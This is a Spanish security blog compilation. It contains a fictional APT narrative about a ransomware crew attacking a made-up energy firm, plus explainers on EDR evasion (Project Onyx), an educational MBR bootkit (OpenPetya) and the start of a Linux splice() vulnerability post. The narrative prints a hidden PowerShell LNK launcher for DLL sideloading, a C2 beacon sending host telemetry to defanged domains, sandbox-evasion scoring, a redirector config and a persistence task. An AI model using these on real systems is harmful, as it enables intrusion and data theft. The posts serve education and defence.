El comando del LNK, simplificado, era:

powershell powershell.exe -NoP -W Hidden -ExecutionPolicy Bypass -Command " $p=$env:TEMP+'\IberBenefits'; New-Item -ItemType Directory -Force $p | Out-Null; Copy-Item '.\IberLogixBenefits.exe' $p; Copy-Item '.\version.dll' $p; Start-Process ($p+'\IberLogixBenefits.exe'); Start-Process '.\Beneficios_IberLogix_2026.pdf' "

El truco era el DLL sideloading. `IberLogixBenefits.exe` era una aplicación legítima vulnerable a carga lateral de DLL (sideloading). Al ejecutarse, buscaba `version.dll` en su directorio. Windows resolvía primero la DLL local. Esa DLL era SeedCrate. El usuario veía abrirse el PDF. El loader respiraba por primera vez.

SeedCrate: hacer poco, sobrevivir mucho

Sable había diseñado SeedCrate con una filosofía estricta: el loader no era una navaja suiza. Era una semilla. Sus responsabilidades:

1. Comprobar entorno
2. Desempaquetar configuración
3. Establecer canal inicial
4. Enviar telemetría mínima
5. Descargar modulo de segunda fase si procede
6. Instalar persistencia ligera solo con aprobación C2

No volcaba credenciales. No escaneaba red. No inyectaba en procesos sensibles al inicio. No intentaba privilegios. No tocaba LSASS. El primer objetivo era sobrevivir las primeras horas.

La configuración iba cifrada dentro de la DLL:

struct seed_config {
    uint32_t magic;
    uint16_t version;
    uint16_t flags;
    uint8_t campaign_id[16];
    uint8_t config_nonce[12];
    uint8_t encrypted_blob[];
};

El blob descifrado contenía:

{
  "campaign": "black_orchard",
  "profile": "iberlogix_hr",
  "domains": [
    "cdn-beneficios[.]com",
    "static-hrsync[.]net",
    "assets-portal[.]cloud"
  ],
  "uri": ["/api/v1/sync", "/content/check", "/cdn/pixel"],
  "jitter_min": 1200,
  "jitter_max": 2700,
  "kill_after": "2026-04-30T00:00:00Z",
  "public_key": "base64-curve25519-key"
}

El primer beacon era deliberadamente aburrido:

POST /api/v1/sync HTTP/1.1
Host: cdn-beneficios[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/octet-stream
Accept: */*
Connection: keep-alive

El cuerpo no era JSON. Era un paquete binario:

magic          4 bytes
version        2 bytes
campaign_id   16 bytes
host_id        16 bytes
nonce          12 bytes
ciphertext     n bytes
tag            16 bytes

La telemetría inicial incluía:

{
  "hostname": "ES-MAD-FIN-0472",
  "domain": "IBERLOGIX",
  "username": "msolis",
  "integrity": "medium",
  "os": "Windows 10 22H2",
  "lang": "es-ES",
  "tz": "Romance Standard Time",
  "processes": ["MsMpEng.exe", "SenseIR.exe", "Teams.exe", "OneDrive.exe"],
  "ip_local": "10.44.18.91",
  "is_laptop": true,
  "joined_domain": true
}

El C2 respondía con una decisión:

{
  "action": "sleep",
  "next": 1840,
  "profile": "low_noise"
}

No siempre había segunda fase. Muchos hosts se descartaban. Un portátil de becario podía no valer el riesgo. Un servidor con EDR agresivo podía esperar. Una máquina de finanzas con VPN y OneDrive sincronizado subía de prioridad. La máquina de Marta Solis, manager de finanzas regional, subió a prioridad 9.

Antianálisis sin teatro

SeedCrate no llenaba el código de trucos espectaculares. Sable odiaba las evasiones vistosas porque se convertían en firmas. Prefería checks combinados y decisiones lentas. Ejemplos:

RAM < 4 GB                                  -> sospecha +2
CPU cores < 2                               -> sospecha +1
Uptime < 10 min                             -> sospecha +1
No domain join                              -> sospecha +2
Username matches analyst/sandbox/test       -> sospecha +2
Processes: procmon, x64dbg, wireshark       -> sospecha +3
Recent mouse/keyboard inactivity            -> sospecha +1
No corporate DNS suffix                     -> sospecha +2

Decisión:

score 0-2: continue
score 3-4: long sleep, reduced telemetry
score 5+: decoy mode

El decoy mode no se autodestruía dramáticamente. Abría el PDF y terminaba. En algunos casos descargaba una imagen o un archivo inocuo para confundir el análisis.

Pseudocódigo:

c int suspicion = 0; suspicion += check_resources(); suspicion += check_domain_context(); suspicion += check_analysis_tools(); suspicion += check_user_activity();

if (suspicion >= 5) { open_decoy_pdf(); return 0; }

if (suspicion >= 3) { sleep_with_jitter(6 * HOURS, 14 * HOURS); } enroll_host();

La clave no era ser invisible. Era no parecer urgente.

Nighthook: el implante que escuchaba

La segunda fase, Nighthook, se descargaba solo tras aprobación del operador. Era modular, escrito en Go con partes criticas en C para llamadas Windows específicas.

Capacidades:

core:
  - beaconing HTTP(S)
  - task queue
  - file upload/download
  - process execution con control de salida
  - in-memory module loading

windows:
  - token enumeration
  - DPAPI context discovery
  - browser profile discovery
  - named pipe communication
  - WMI/WinRM helpers

opsec:
  - rate limiting
  - command allowlist por rol
  - operator approval gates
  - self-delete
  - per-host kill switch

Nighthook no permitía a cualquier operador lanzar cualquier cosa. El panel C2 imponía controles:

Operator Saltline:
  allowed: view host, tag host, request persistence
  denied: exec, dump, lateral

Operator Knifewall:
  allowed: exec, lateral helpers, AD modules
  denied: ransomware deploy

Operator Hollow:
  allowed: file search, staging, exfil
  denied: encrypt

Operator Nadir:
  allowed: deploy encryptor only after Curator approval

Esto no era ética. Era prevención de accidentes. Un operador impulsivo podía arruinar una campana.

C2: capas, redirectores y perfiles

Oboe separaba infraestructura en cinco niveles:

Victim endpoint
  -> redirector CDN-like
    -> regional front VPS
      -> C2 application
        -> operator panel behind VPN

Los redirectores filtraban por cabeceras, rutas y origen. Si el trafico no parecía implante, devolvían contenido estático:

nginx location /api/v1/sync { if ($http_user_agent !~* "Mozilla/5.0") { return 404; } proxy_pass https://regional-node-3.internal; }

location / { root /var/www/decoy; try_files $uri /index.html; }

Los perfiles de beaconing se parecían a telemetría SaaS:

yaml profile: iberlogix_hr_low_noise method: POST uris: - /api/v1/sync - /cdn/pixel - /content/check headers: Accept: "*/*" Content-Type: application/octet-stream Cache-Control: no-cache jitter: min_seconds: 1200 max_seconds: 2700 max_body_kb: 64 working_hours_bias: timezone: Europe/Madrid start: "07:30" end: "20:30"

El implante no hablaba constantemente. Durante las primeras veinticuatro horas, Marta Solis genero cuatro beacons. Cuatro. En un SIEM lleno de millones de eventos, era una aguja sin brillo.

QA criminal: probar antes de quemar

Nebula Jackal tenia un laboratorio. No era perfecto, pero imitaba entornos corporativos:

Windows 10 / 11 workstations
Windows Server 2016 / 2019 / 2022
AD con OUs realistas
Defender for Endpoint trial
EDR comerciales pirateados o evaluaciones
M365 developer tenants
Fortinet VPN lab
Veeam Community Edition
Elastic/Splunk lab

Antes de usar SeedCrate contra IberLogix, hicieron una matriz:

Test                             Resultado
------------------------------------------------
ZIP password protected           OK
LNK executes from Downloads      OK
PDF decoy opens                  OK
DLL sideload path                OK
Defender static                  Clean
Defender behavior                Low signal
EDR A memory scan                Suspicious at 12m
EDR B network                    Clean
Sandbox Any.Run                  Decoy mode
VirusTotal upload                Prohibited internally

La regla "no VirusTotal" era absoluta. Subir muestras a servicios públicos era regalar inteligencia. Los operadores usaban entornos propios:

powershell .\run_lab.ps1 -Profile IberLogix -EDR Defender -Payload SeedCrate .\simulate_click.ps1 -User marta.solis -Locale es-ES -VPNProfile madrid .\collect_telemetry.ps1 -Window 24h

El objetivo no era detección cero. Era detección insuficiente, tarde y ambigua.

El primer error de IberLogix

Marta Solis no era ingenua. Había hecho cursos de phishing. Sabía no abrir adjuntos raros. Pero el correo no parecía raro porque hablaba de algo real. Venía en español correcto. El dominio se parecía. La pagina tenia TLS.

El PDF se abrió. Nada explotó. Nada pidió permisos de administrador. Nada hizo ruido. A las 09:03, SeedCrate envió el primer beacon. A las 09:34, Magpie marcó el host:

host: ES-MAD-FIN-0472
user: IBERLOGIX\msolis
department: Finance
priority: 9
reason: finance manager, laptop, OneDrive, VPN, domain joined
next_action: deploy Nighthook, low noise

A las 11:12, Nighthook estaba instalado con persistencia ligera:

Scheduled Task:
  Name: AdobeUpdateSync
  Trigger: At user logon
  Action: rundll32.exe "%APPDATA%\Adobe\Cache\version.dll",Start
  User: current

El nombre no era perfecto. Era suficientemente mediocre. En empresas grandes, lo mediocre se mezcla mejor que lo brillante. El primer día no hicieron nada mas. Ese fue el segundo logro.

Continúa en Parte 3: Dentro del bosque de Active Directory

Anatomía de una APT simulada. Parte 1 - La empresa invisible

2026-05-31T01:51:27.348+02:00

La primera vez que apareció el nombre Nebula Jackal no fue en un informe de inteligencia, ni en una nota de rescate, ni en un panel de EDR con un proceso marcado en rojo. Apareció en un comentario interno de un analista cansado, a las 03:17 de la madrugada, mientras revisaba un incidente que no terminaba de comportarse como ransomware común.

El analista había visto ransomware antes. Había visto phishing torpe, paneles de negociación con inglés roto, scripts copiados de GitHub, operadores que confundían un controlador de dominio con un servidor de ficheros y atacantes que se delataban por la prisa. Esto era distinto. Los atacantes habían entrado con paciencia, habían mapeado la red como si conocieran la casa, habían tocado solo lo necesario, habían exfiltrado lo que dolía y habían lanzado el cifrado cuando la empresa estaba más indefensa: madrugada de domingo, cierre fiscal, copias de seguridad en rotación y equipo de guardia reducido.

En el ticket interno, alguien escribió:

Esto no parece una banda. Parece una compañía.

Y esa frase es la mejor forma de entender a Nebula Jackal.

No era un grupo de hackers románticos ni una pandilla con sudaderas en un sótano. Era una organización distribuida, con objetivos, incentivos, procesos, responsables, deuda técnica, control de calidad, turnos y una cultura de producto muy particular: su producto era el acceso, el miedo y el tiempo.

La mesa directiva de un crimen técnico

Nebula Jackal estaba formado por unas veinticuatro personas, aunque solo nueve conocían más de una célula. La organización real cambiaba con cada campaña, pero su núcleo era estable:

El líder era conocido como The Curator. No escribía malware. No lanzaba comandos. No participaba en chats con víctimas. Su poder venía de otra parte: seleccionaba objetivos, aprobaba riesgos, decidía cuánto tiempo podían permanecer dentro de una red y definía el precio del silencio.

Su perfil era más cercano al de un director de operaciones que al de un exploit developer. Dominaba inglés, ruso y algo de español. Había trabajado en fraude financiero antes de entrar en ransomware. Entendía seguros ciber, ciclos de auditoría, tiempos de respuesta legal, notificación a reguladores, ventanas de mantenimiento y psicología corporativa. Sabía que una empresa no paga solo para recuperar archivos. Paga para recuperar control narrativo.

En Nebula Jackal nadie usaba nombres reales. Tampoco utilizaban siempre el mismo alias. Cada célula tenía identidades operativas diferentes:

Campana Black Orchard

The Curator: direccion
Magpie: inteligencia
Saltline: phishing
Sable: loader y evasiones
Oboe: C2
Knifewall: Active Directory
Meridian: cloud y correo
Hollow: exfiltracion
Nadir: ransomware
Vesper: negociacion
Mint: finanzas

La nacionalidad era una variable operativa, no una bandera. Había miembros de Europa del Este por tradición técnica y redes de confianza; operadores latinoamericanos por idioma, zonas horarias y conocimiento de empresas españolas; perfiles del norte de África para infraestructura y documentación falsa; y freelancers del sudeste asiático para tareas de bajo contacto, como registro de dominios, pruebas de phishing y preparación de cuentas.

La regla interna era simple: nadie debía poder reconstruir toda la cadena.

El desarrollador del loader no conocía la dirección final del C2 maestro. El operador de phishing no sabía qué empresa sería cifrada. El negociador no conocía al operador que obtuvo privilegios elevados. Las mulas no sabían de dónde venía el dinero. El responsable financiero no sabía qué vector de acceso se había utilizado.

La compartimentación era su primera tecnología defensiva.

Reclutamiento: no buscaban genios, buscaban piezas

Nebula Jackal no reclutaba “hackers buenos”. Reclutaba funciones.

Un perfil de malware debía entender Windows a bajo nivel: PE headers, import tables, TLS callbacks, syscall stubs, memoria virtual, firmas de EDR, ETW, AMSI, hooks en userland, event tracing, cadenas de proceso y ruido operacional. Pero también debía saber trabajar como ingeniero: versionar, probar, instrumentar, hacer rollback y no romper la operación por ego.

Un operador de intrusión debía saber moverse en dominios reales, no en laboratorios limpios. Eso significaba tolerar latencia, servidores antiguos, credenciales duplicadas, GPO contradictorias, software de backup absurdo, políticas incompletas, empleados conectados por VPN, EDR en modo mixto, segmentos OT intocables y administradores que habían dejado scripts con contraseñas en SYSVOL.

Un perfil de inteligencia debía saber leer una empresa como si fuera una escena del crimen antes del crimen. LinkedIn revelaba organigramas. Las ofertas de empleo revelaban tecnología. GitHub revelaba convenciones internas de nombres. Los certificados TLS revelaban subdominios. Shodan revelaba VPN. Las memorias anuales revelaban presión financiera. Las noticias de adquisiciones revelaban caos. Los comentarios de empleados revelaban frustración.

El equipo no romantizaba la técnica. Tenían una frase interna:

El exploit abre una puerta; el calendario decide cuánto vale.

Por eso preferían atacar durante adquisiciones, migraciones cloud, auditorías, huelgas internas, cierres fiscales o despliegues de ERP. La superficie técnica importaba, pero la superficie organizativa importaba más.

Dónde trabajaban

No había una oficina. Había distintas capas. Los miembros sénior trabajaban desde apartamentos temporales, espacios de coworking sin identidad fija, casas de familiares o viajes cortos. Utilizaban portátiles dedicados por rol, discos cifrados, sistemas operativos separados por campaña y una disciplina estricta de identidad.

La estación de trabajo típica de un operador sénior era:

Host fisico

Disco cifrado completo
Sistema principal sin datos operativos
VM "research" para OSINT
VM "build" para compilar herramientas
VM "ops" para acceso a paneles
VM "burner" para pruebas rapidas
YubiKey o token FIDO para paneles internos
WireGuard hacia jumpbox privada
Navegador dedicado por identidad

Los operadores no mezclaban identidades. Una identidad podía tener correo, Telegram, wallet, VPS, dominios y paneles. Otra podía tener foros, brokers y canales de acceso inicial. Nunca se cruzaban en el mismo navegador. Nunca compartían zona horaria local. Nunca subían capturas sin limpiar metadatos. Nunca probaban malware desde su IP real.

Los builds se generaban en entornos efímeros:

repo privado -> runner aislado -> build firmado o empaquetado -> hash registrado -> artefacto cifrado -> staging

El repositorio de malware no estaba en GitHub. Utilizaban un Forgejo/Gitea privado detrás de VPN, con repositorios separados por módulo:

/seedcrate-loader
/nighthook-agent
/orchidlock-encryptor
/c2-panel
/redirector-profiles
/victim-portals
/ops-playbooks

Cada commit se firmaba con claves internas. No por confianza moral, sino por control de calidad criminal. Un fallo en producción podía costar millones.

La cultura técnica

Nebula Jackal funcionaba como una startup hostil.

Tenían retrospectivas después de cada campaña. Tenían métricas:

phishing_open_rate
credential_capture_rate
loader_execution_rate
edr_block_rate
beacon_survival_24h
time_to_privilege_escalation
time_to_domain_admin
exfiltration_gb_per_hour
encryption_success_ratio
payment_probability_score
cashout_loss_percentage

El phishing no se medía por clics, sino por ejecuciones válidas. El malware no se medía por detecciones en VirusTotal, sino por supervivencia en entornos con telemetría real. La intrusión no se medía por “pwned”, sino por acceso a datos, persistencia y capacidad de presión. La negociación no se medía por rescate solicitado, sino por el importe neto cobrado después de descuentos, comisiones, errores y pérdidas de cash-out.

Tenían un tablero Kanban. Las columnas eran frías:

Recon -> Access -> Foothold -> Expand -> Collect -> Stage -> Encrypt -> Negotiate -> Settle -> Burn

La última columna, Burn, era esencial. Quemar infraestructura formaba parte del ciclo: destruir paneles, cerrar VPS, rotar claves, abandonar dominios, limpiar repositorios de campaña, invalidar wallets intermedias, congelar identidades y documentar indicadores expuestos.

Roles con nombres y cicatrices

Magpie, inteligencia, vivía de patrones. Tenía una base de datos de empresas con campos que parecían sacados de un CRM:

company_name
revenue_estimate
cyber_insurance_probability
backup_maturity
m365_tenant
vpn_stack
recent_merger
security_hiring_velocity
regulatory_pressure
executive_email_exposure
known_credentials

No elegía objetivos solo por tamaño. Una multinacional enorme podía tener una respuesta madura y copias de seguridad sólidas. Una empresa mediana con filiales, deuda, seguro ciber y dependencia de SAP podía pagar más rápido.

Saltline, phishing, no era simplemente “el que enviaba correos”. Era un diseñador de conversión criminal. Probaba asuntos, horarios, dominios, plantillas, landing pages, certificados, pretextos y empaquetado de payloads. Sabía que el asunto perfecto no parecía urgente; parecía aburridamente corporativo.

Sable, loader de malware, tenía obsesión por los primeros cinco minutos. Decía que un implante no moría por el cifrado, moría por el ruido inicial. SeedCrate hacía poco y lo hacía despacio: validar entorno, contactar con el C2, descargar módulos y dormir.

Oboe, responsable del C2, pensaba en tráfico. Su trabajo era que el implante respirara como software normal. Beaconing con jitter. Cabeceras HTTP plausibles. TLS limpio. Rotación de dominios. Perfiles específicos por víctima. Nada de patrones globales fáciles de detectar.

Knifewall, operador de Active Directory, era el más temido internamente porque era capaz de convertir una cuenta mediocre en control total del entorno si le daban tiempo. No ejecutaba herramientas a lo loco. Primero observaba. Después tocaba. Finalmente, cuando ya conocía la red mejor que algunos administradores, actuaba.

Meridian, especialista cloud, entendía Microsoft 365 como un territorio político. Tokens, refresh tokens, consent grants, Azure AD roles, aplicaciones empresariales, mailbox rules, eDiscovery, SharePoint, OneDrive, Teams e Intune. Para Meridian, el correo era más valioso que un shell.

Nadir, ransomware, era un ingeniero de fiabilidad. Su pregunta no era “cómo cifrar”, sino “cómo cifrar sin destruir lo que necesitamos para cobrar”. El ransomware debía dejar la máquina viva, la red parcialmente utilizable, la nota visible y el descifrador creíble.

Vesper, negociador, escribía como un consultor. Nunca gritaba. Nunca amenazaba de forma vulgar. Mostraba control, pruebas, plazos y consecuencias. Sabía que, en una crisis, el tono calmado puede resultar más intimidante que la rabia.

Mint, finanzas, era la persona menos técnica en malware y la más técnica en dinero. Sabía de UTXO, heurísticas de clustering, exchanges con KYC, mercados P2P, OTC desks, stablecoins, liquidez, comisiones y jurisdicciones. Su trabajo consistía en convertir rescates en dinero utilizable sin crear una línea recta hacia los responsables.

El playbook

Cada campaña tenía un documento vivo. Para Operación Black Orchard, el playbook comenzaba así:

Campaign: Black Orchard
Target class: energy / logistics / EU-LATAM operations
Primary language: Spanish / English
Initial pretext: HR benefits migration
Desired access: M365 + workstation foothold
Preferred execution: HTML smuggling -> LNK -> DLL sideload
Target data: contracts, payroll, legal, SAP exports, executive mailboxes
Ransom model: double extortion
Max dwell time: 21 days
Abort conditions:

EDR full containment before privilege escalation
Law enforcement sinkhole indication
No sensitive data after 10 days
Backup maturity score too high

También incluía una matriz de riesgo:

No todo estaba permitido. Nebula Jackal evitaba hospitales pequeños, infraestructuras donde el daño físico fuese probable y objetivos con baja probabilidad de pago. No por ética estable, sino por gestión de riesgo. Una muerte atrae más atención que un balance destruido.

Selección del objetivo: IberLogix Energy

El objetivo ficticio de esta serie, IberLogix Energy, no era una caricatura vulnerable. Era una multinacional razonablemente madura: 18.000 empleados, operaciones en España, Portugal, México, Chile y Marruecos, tenant M365, EDR corporativo, SIEM, VPN, segmentación parcial, copias de seguridad centralizadas y un equipo de seguridad competente pero saturado.

Precisamente por eso interesaba.

Magpie encontró tres señales:

IberLogix había comprado una filial logística llamada TransIber Norte.
En LinkedIn, empleados mencionaban una “migración de beneficios y nóminas”.
Las ofertas de empleo pedían experiencia en “Azure AD Connect, SCCM, Fortinet VPN, Veeam, SAP Basis y Sentinel”.

Con eso, Nebula Jackal infirió:

Hybrid AD likely: yes
M365 tenant: yes
VPN vendor: Fortinet
Backup vendor: Veeam
Endpoint management: SCCM / Intune mixed
Identity friction: high due to acquisition
Phishing pretext viability: high
Ransom pressure: high, energy + payroll + legal

La campaña no empezó con un exploit.

Empezó con una historia que la víctima ya estaba viviendo.

La historia era simple:

Recursos Humanos está migrando el portal de beneficios.

En las grandes empresas, las mejores mentiras no inventan una realidad. Se adhieren a una realidad existente y la empujan apenas unos centímetros.

Y eso era exactamente lo que Nebula Jackal sabía hacer.

Continúa en la parte 2: La semilla, el anzuelo y el primer latido

Project Onyx: cuando “parecer legítimo” se convierte en la mejor técnica de evasión

2026-05-26T00:09:05.660+02:00

Los EDR modernos no fallan porque no tengan datos. Fallan porque tienen demasiados datos “correctos”.

Todo lo que hacen hoy —llamadas a API, cadenas de eventos, correlación de procesos, telemetría de usuario, contexto de máquina— ya no describe intención. Describe comportamiento. Y el problema es que el comportamiento, bien construido, puede ser indistinguible de lo legítimo.

Project Onyx nace precisamente de esa incomodidad.

El pipeline no empieza con ejecución ofensiva directa, sino con lo que internamente denominamos un AI Decoy (Behavioral Camouflage layer). Antes de cualquier lógica sensible, el host inicializa un modelo ONNX completamente funcional —un pequeño MLP ejecutado vía Microsoft ONNX Runtime— y fuerza una fase de inferencia tensorial real.

Esto no es simulación ni ruido sintético. Es carga legítima de machine learning: forward passes reales, uso de runtime optimizado, y patrones de ejecución indistinguibles de cualquier workload moderno de IA.

Desde la perspectiva de un EDR, esto introduce una firma conductual extremadamente problemática: el proceso ya está generando telemetría válida de “aplicación legítima”. Llamadas a librerías de inferencia, uso de CPU coherente, y flujos de ejecución que encajan perfectamente dentro de perfiles de software contemporáneo. La intención real queda encapsulada dentro de una capa que, por diseño, maximiza su plausibilidad.

Una vez establecido este baseline de comportamiento, el sistema transiciona a la siguiente capa: Environmental Keying.

Aquí, el payload deja de ser portable. La ejecución depende estrictamente del entorno de origen. Las claves de descifrado no existen como constantes, sino que se derivan dinámicamente a partir de un hash SHA-256 compuesto por tres identificadores del sistema: MachineGuid del sistema operativo, Volume Serial Number y SID del usuario actual.

Estos elementos se combinan para producir una identidad criptográfica del host. El resultado es que cualquier intento de análisis fuera del sistema objetivo —ya sea sandbox o entorno de reversing— colapsa en una versión inerte del payload. Sin el fingerprint exacto, el flujo simplemente no converge en estado válido. Esto convierte el binario en algo más cercano a una función del entorno que a un artefacto estático.

La siguiente transición arquitectónica ocurre en la capa de ejecución. En lugar de mantener lógica ofensiva en el binario nativo, Project Onyx delega la ejecución del payload a un entorno WebAssembly (WASM), ejecutado en memoria mediante el intérprete wasm3.

El host en C++ deja de ser el ejecutor directo y pasa a actuar como loader y API bridge. Su función es estrictamente controlada: exponer un conjunto limitado de funciones seguras hacia el sandbox WASM, mientras el payload vive completamente aislado dentro del runtime.

Esto introduce una separación relevante desde el punto de vista de análisis dinámico: el flujo crítico deja de residir en el espacio nativo observable del proceso principal y se desplaza a una capa intermedia, donde la instrumentación tradicional del endpoint pierde granularidad directa.

Finalmente, la protección del propio payload se resuelve mediante una capa que internamente denominamos Cryptographic Vault.

El módulo WASM no está almacenado en claro. Está cifrado con AES-256, pero la clave no reside en el binario. En su lugar, se encuentra encapsulada dentro de los metadatos de un modelo ONNX —el mismo utilizado en la capa de decoy.

La derivación de esta clave no es trivial: se construye mediante un pipeline que combina PBKDF2-HMAC-SHA256 y HKDF-SHA256, con validación adicional mediante HMAC en tiempo constante para evitar condiciones de timing leakage durante la verificación.

El resultado es una cadena de dependencias donde el modelo ONNX no solo genera telemetría conductual, también actúa como contenedor de material criptográfico y el entorno del sistema es el único elemento que permite resolver el estado final válido.

Cuando se observa el sistema en su conjunto, lo que emerge no es una técnica aislada de evasión, sino una composición de capas diseñadas para colapsar el modelo de análisis tradicional:

comportamiento legítimo (AI Decoy)
identidad del host como clave (Environmental Keying)
ejecución aislada y fragmentada (WASM sandboxing)
y dependencia criptográfica distribuida (Cryptographic Vault)

El resultado es un flujo donde ningún componente individual es anómalo por sí mismo, pero cuya intención global solo es observable si se reconstruye la cadena completa de dependencias.

Y ahí es donde Project Onyx se vuelve interesante desde la perspectiva de detección moderna: no está atacando un EDR directamente.

Está cuestionando si el modelo de observación actual todavía es capaz de distinguir intención cuando cada fragmento del sistema es indistinguible de comportamiento legítimo.

Proyecto: https://github.com/X-3306/Project-Onyx

Cuando el ransomware atacaba antes de arrancar Windows: explorando OpenPetya y la lógica detrás de un bootkit moderno

2026-05-25T23:34:16.256+02:00

OpenPetya es un proyecto que ha nacido como un ejercicio práctico para responder una pregunta que muchas veces queda a medias cuando se estudia malware histórico: ¿qué ocurre realmente por debajo del sistema operativo cuando un bootkit toma control del proceso de arranque?

Cuando se habla de Petya o NotPetya, la mayoría de explicaciones se detienen en la superficie: ransomware que cifra datos, interrumpe sistemas y deja una pantalla exigiendo una clave. Pero el comportamiento interno es mucho más interesante. Petya no se limitaba a ejecutarse dentro de Windows; alteraba el propio proceso de inicio del sistema. El ataque comenzaba antes de que el usuario llegara al escritorio, antes incluso de que gran parte del sistema operativo estuviera disponible.

OpenPetya intenta reconstruir esa lógica desde una perspectiva educativa.

No pretende ser una réplica exacta de Petya ni de NotPetya. En lugar de perseguir una simulación perfecta, adopta una aproximación más enfocada en aprendizaje y análisis: implementar desde cero los mecanismos fundamentales que hacen funcionar un bootkit y entender cómo interactúan entre sí.

El proyecto está desarrollado utilizando Assembly, C y C++, una combinación especialmente adecuada para trabajar en niveles muy cercanos al hardware. Cada lenguaje cumple un papel distinto: Assembly permite controlar directamente las fases tempranas del arranque y las instrucciones de bajo nivel del procesador, mientras que C y C++ aportan estructura para la lógica más compleja.

La arquitectura gira alrededor de varios elementos principales.

El primer componente es un Master Boot Record personalizado o MBR. El MBR es una pequeña región ubicada al inicio del disco que tradicionalmente contiene información necesaria para iniciar el sistema operativo. Normalmente su función es relativamente simple: localizar el siguiente componente de arranque y transferirle el control.

OpenPetya reemplaza este comportamiento por uno propio. En lugar de continuar con la secuencia estándar de arranque de Windows, el MBR modificado carga un payload adicional: un bootloader de segunda etapa o Stage-2. Aquí es donde ocurre la mayor parte de la lógica del proyecto.

El Stage-2 actúa como núcleo funcional y contiene mecanismos responsables de:

transición del procesador a Protected Mode
operaciones criptográficas basadas en Salsa20
cifrado y descifrado de estructuras NTFS
validación de contraseñas
restauración del sistema
interfaz visual durante el arranque

Uno de los aspectos más interesantes es la transición entre Real Mode y Protected Mode.

Al iniciarse una arquitectura x86 tradicional, el procesador comienza ejecutándose en modo Real de 16 bits, un entorno extremadamente limitado heredado de diseños antiguos. En este modo existen restricciones importantes:

espacio de memoria reducido

direccionamiento limitado
ausencia de capacidades avanzadas
pocas facilidades para programas complejos

Por esta razón OpenPetya cambia el procesador a Protected Mode de 32 bits antes de ejecutar lógica de mayor nivel.

Este cambio permite acceder a:

modelos de memoria más amplios
mejores mecanismos de segmentación
instrucciones más avanzadas
estructuras necesarias para operaciones complejas

Una vez realizado el cambio de modo, comienza el proceso relacionado con almacenamiento y cifrado.

En lugar de cifrar archivos individuales, OpenPetya adopta una estrategia inspirada en Petya y actúa directamente sobre una estructura crítica del sistema de archivos NTFS: la Master File Table o MFT.

La MFT puede entenderse como una especie de índice central que describe prácticamente todos los archivos y directorios presentes en un volumen NTFS. Aunque el contenido físico de los archivos permanezca en disco, corromper o cifrar partes críticas de esta estructura hace extremadamente difícil acceder a ellos.

El proyecto implementa un mecanismo basado en Salsa20 para realizar estas operaciones. Salsa20 es un algoritmo criptográfico de flujo diseñado por Daniel J. Bernstein que destaca por su velocidad y simplicidad relativa. En OpenPetya se utiliza para demostrar cómo un bootkit podría aplicar procesos criptográficos dentro de un entorno extremadamente limitado, donde todavía no existen librerías de alto nivel disponibles. Sin embargo, el proyecto introduce algunas simplificaciones deliberadas.

A diferencia de variantes reales de ransomware, OpenPetya no incorpora infraestructura Command and Control (C2). Tampoco busca dificultar el análisis mediante técnicas avanzadas de evasión.

Además, después del cifrado almacena copias de seguridad de la información MFT en sectores ocultos del disco en formato sin cifrar.

Esta decisión puede parecer extraña desde una perspectiva ofensiva, pero tiene sentido en un entorno educativo: el objetivo no es destruir información ni crear una amenaza real, sino permitir que el investigador pueda observar el comportamiento interno y comprender cómo funciona la recuperación.

El proceso completo puede resumirse de la siguiente forma:

1. Inicialmente el usuario ejecuta OpenPetya.exe y selecciona una contraseña. El instalador permite elegir unidades y preparar los componentes necesarios.

2. Posteriormente el sistema se reinicia manualmente o mediante un mecanismo basado en NtRaiseHardError, una API interna de Windows utilizada para generar una interrupción crítica.

3. Durante el siguiente arranque el MBR personalizado toma el control y carga el Stage-2.

4. Una vez cargado:

el procesador cambia a Protected Mode
se ejecuta la lógica criptográfica
se seleccionan estructuras críticas del MFT
se realiza el proceso de cifrado

5. El sistema vuelve a reiniciarse. En el siguiente arranque aparece una interfaz previa al sistema operativo solicitando una contraseña. Si la contraseña introducida coincide:

la información cifrada es restaurada
la cadena original de arranque vuelve a su estado previo
el bootkit elimina sus propios componentes
Windows continúa iniciando normalmente

Otro detalle interesante es lo que OpenPetya decide no implementar. El proyecto evita comportamientos clásicos utilizados por Petya para manipular psicológicamente al usuario, como pantallas falsas de CHKDSK o mecanismos de ingeniería social.

La intención es mantener el foco sobre la parte realmente interesante: la mecánica interna del boot process. Más que una demostración de ransomware, OpenPetya funciona como un laboratorio de investigación sobre:

bootkits
arquitectura de bootloaders
internals de Windows
programación Assembly
estructuras NTFS
criptografía aplicada
malware de bajo nivel

El valor real del proyecto no está en reproducir un malware histórico. Está en convertir conceptos normalmente ocultos bajo capas de abstracción en piezas observables y comprensibles. Porque cuando se analiza malware moderno, entender el proceso suele ser mucho más útil que memorizar indicadores o firmas. Los indicadores cambian. La lógica que hay detrás de ellos suele permanecer.

Proyecto: https://github.com/iss4cf0ng/OpenPetya

Fuentes: [Learning] OpenPetya: A Proof-of-Concept of Petya Ransomware

Refs.

De copy-fail a DirtyFrag: cuando el zero-copy rompe el modelo de seguridad

2026-05-12T00:57:00.004+02:00

En Linux, la page cache actúa como una capa intermedia entre disco y memoria. Cuando un archivo se lee, normalmente sus páginas quedan cacheadas en RAM. La gracia es que múltiples componentes del kernel pueden referenciar la misma página física sin copiar datos constantemente.

Eso es exactamente lo que hace splice(). En vez de:

file → kernel buffer → userspace → socket,

splice() intenta hacer:

file page cache → pipe buffer → socket buffer, sin copias intermedias.

Como veis pasamos de:

🔹 file (disco)

El archivo vive en el disco.

🔹 kernel buffer

Cuando haces read(), el kernel:

lee el bloque del disco
lo mete en un buffer del kernel

🔹 userspace

Luego, para que tu programa lo use:

el kernel copia esos datos desde el buffer del kernel
hacia memoria de usuario (tu proceso)

🔹 socket

Si luego haces write() a un socket:

vuelves a copiar los datos desde userspace
hacia buffers del kernel del socket
y finalmente salen a la red

Resultado:

varias copias grandes de memoria
CPU gastada moviendo bytes

🔹 file page cache

Cuando Linux lee un archivo:

lo guarda en la page cache
que es RAM compartida por el kernel

Esto es clave: varios subsistemas pueden usar la misma página física

🔹 pipe buffer

splice() introduce un pipe como “intermediario inteligente”:

en vez de copiar datos
el pipe guarda referencias a páginas de la page cache

🔹 socket buffer

Luego el socket:

toma esas mismas referencias
y las envía por red

Importante:

no se copian bytes entre etapas
solo se “re-enlazan” páginas de memoria

Esto mejora muchísimo el rendimiento, pero introduce una propiedad peligrosa: varios subsistemas comparten referencias al mismo backing memory. Y aquí empiezan los problemas.

